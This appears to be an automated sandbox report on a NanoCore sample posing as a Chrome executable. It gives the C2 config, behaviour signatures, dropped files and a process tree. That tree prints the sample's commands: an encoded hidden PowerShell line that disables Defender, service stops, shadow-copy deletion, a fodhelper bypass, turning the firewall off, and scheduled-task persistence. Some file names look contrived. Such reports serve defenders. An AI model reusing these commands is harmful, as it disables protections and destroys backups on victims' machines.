Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/10/2026, 06:44

General

  • Target
    xoilacbo.tv_chrome.exe
  • Size 57KB
  • Sample261020-hh1ffaes5x
  • SHA256 29561dac06b6818991f1b2b5f41063a6ca0e55804560851ba9142a0e95f4ac8b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://xoilacbo.tv

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://xoilacbo.tv

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\xoilacbo.tv_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilacbo.tv_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2136
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:5868
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2696
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4220
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4412
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4504
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4876
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:3700
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3360
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3468
      • C:\Users\Admin\AppData\Local\Temp\xoilacbo.tv_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\xoilacbo.tv_chrome.exe"
        3⤵
          PID:984
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:4880
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:5616
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:1440
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1364
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:4992
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacbo.tv_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1968
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacbo.tv_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4112
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:996
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:5588
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          PID:476
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2924
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:5956
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3012
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          PID:3584
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5848
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
            PID:4696
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5544
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5844
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:5504
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3112
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:5304
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1456
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              PID:4528
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacbo.tv_chrome.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:6124
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:6140
          • C:\Windows\System32\notepad.exe
            "C:\Windows\System32\notepad.exe"
            2⤵
              PID:5388
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:4796
            • C:\Windows\System32\wbem\WMIC.exe
              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
              2⤵
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious behavior: EnumeratesProcesses
              PID:4816
            • C:\Windows\System32\net.exe
              "C:\Windows\System32\net.exe" stop srservice
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4872
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop srservice
                3⤵
                  PID:5280
              • C:\Windows\System32\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:1776
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                2⤵
                • Launches sc.exe
                PID:5984
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop i8042prt
                2⤵
                • Launches sc.exe
                PID:5084
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1244
            • C:\Users\Admin\AppData\Local\Temp\xoilacbo.tv_chrome.exe
              C:\Users\Admin\AppData\Local\Temp\xoilacbo.tv_chrome.exe
              1⤵
                PID:2536
              • C:\Users\Admin\AppData\Local\Temp\xoilacbo.tv_chrome.exe
                C:\Users\Admin\AppData\Local\Temp\xoilacbo.tv_chrome.exe
                1⤵
                  PID:5960
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k GPSvcGroup
                  1⤵
                    PID:5468

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        scr_20261020_074618.jpg

                        • Path C:\ProgramData\SysUpdate\Scr\scr_20261020_074618.jpg
                        • Size 133KB
                        • SHA256 800606547e14bcb0eb9490b18480a68f09eb14417ae7d860441677bf47fd7bd9
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_2.pdf

                        • Path C:\SystemVolumeInformation\doc_2.pdf
                        • Size 76KB
                        • SHA256 56b1704f6df7f024b2bd192285eb40c5b0518a6bee911cde33728b4a0b610025
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        __PSScriptPolicyTest_smvahggf.xsv.psm1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_smvahggf.xsv.psm1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 243B
                        • SHA256 d0b56a2ba43a651b46eee98d6c5c950511aa77e5d02799c3444beadaf57966af
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 244B
                        • SHA256 7e9668bfd4459f4ddc6ba4194824b55d4f5b6425083043b975faf41f61b25eb1
                        • MD5 SHA1 SHA512 TLSH

                        temp_steal.log

                        • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                        • Size 178KB
                        • SHA256 16b8d646e678e69f6de6dea339ea03ab0bbff81ffd72da263b1988f0b7e85c1c
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        stolen_data_here.txt

                        • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                        • Size 178KB
                        • SHA256 66927ecb9e8165697cf2f25c4632f1563ace732a3712379eb1f68429c717c8c4
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        invoice_1.pdf

                        • Path C:\Users\Admin\Documents\invoice_1.pdf
                        • Size 76KB
                        • SHA256 f4b601c6fae8fb7a26ac0dbe32cb87efaeed4d75f00a39923f1e4cc946c2fde4
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        READ_ME_NANOCORE.txt

                        • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                        • Size 145B
                        • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                        • MD5 SHA1 SHA512 TLSH

                        RANSOM_NOTE.txt

                        • Path F:\RANSOM_NOTE.txt
                        • Size 177B
                        • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                        • MD5 SHA1 SHA512 TLSH

                        memory/2136-15-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/2136-16-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/2136-22-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/2136-21-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/2136-24-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/2136-17-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/2136-29-0x0000029773CD0000-0x0000029773D82000-memory.dmp

                        memory/2136-31-0x0000029773D90000-0x0000029773D9A000-memory.dmp

                        memory/2136-28-0x0000029773CB0000-0x0000029773CCE000-memory.dmp

                        memory/2136-25-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/2136-23-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/2136-18-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/2136-12-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/2136-20-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/2136-2247-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/2136-14-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/2136-13-0x0000029773980000-0x00000297739A2000-memory.dmp

                        memory/4908-0-0x00007FFB23A5F000-0x00007FFB23A60000-memory.dmp

                        memory/4908-6-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/4908-5-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/4908-4-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/4908-2270-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/4908-2279-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/4908-3-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/4908-2-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                        memory/4908-1-0x00000000008C0000-0x00000000008D4000-memory.dmp

                        memory/5388-2272-0x000001853D210000-0x000001853D211000-memory.dmp